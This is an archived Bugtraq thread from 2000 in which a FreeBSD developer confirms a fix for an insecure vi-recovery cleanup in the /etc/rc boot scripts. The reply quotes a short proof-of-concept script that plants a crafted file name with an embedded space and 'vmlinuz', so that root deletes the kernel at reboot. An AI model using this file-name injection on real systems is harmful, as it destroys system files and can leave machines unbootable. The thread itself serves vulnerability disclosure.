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Bugtraq: Re: vibackup.sh

Re: vibackup.sh

From: Kris Kennaway <kris_at_HUB.FREEBSD.ORG>
Date: Wed, 5 Jan 2000 02:22:40 -0800

This has just been fixed in FreeBSD 2.2-STABLE, 3.4-STABLE and
4.0-CURRENT. Thanks!

Kris

On Fri, 31 Dec 1999, Loneguard wrote:

> Looks like someone noticed this at some point in OpenBSD. Its broken
> rather than fixed ;(
>
> #!/bin/sh
> #
> # vibackup.sh - Loneguard 22/05/99
> # Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion
> # of files
> #
> touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
> chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
> echo Now wait for ( or cause ) a reboot...
>
Received on Jan 05 2000

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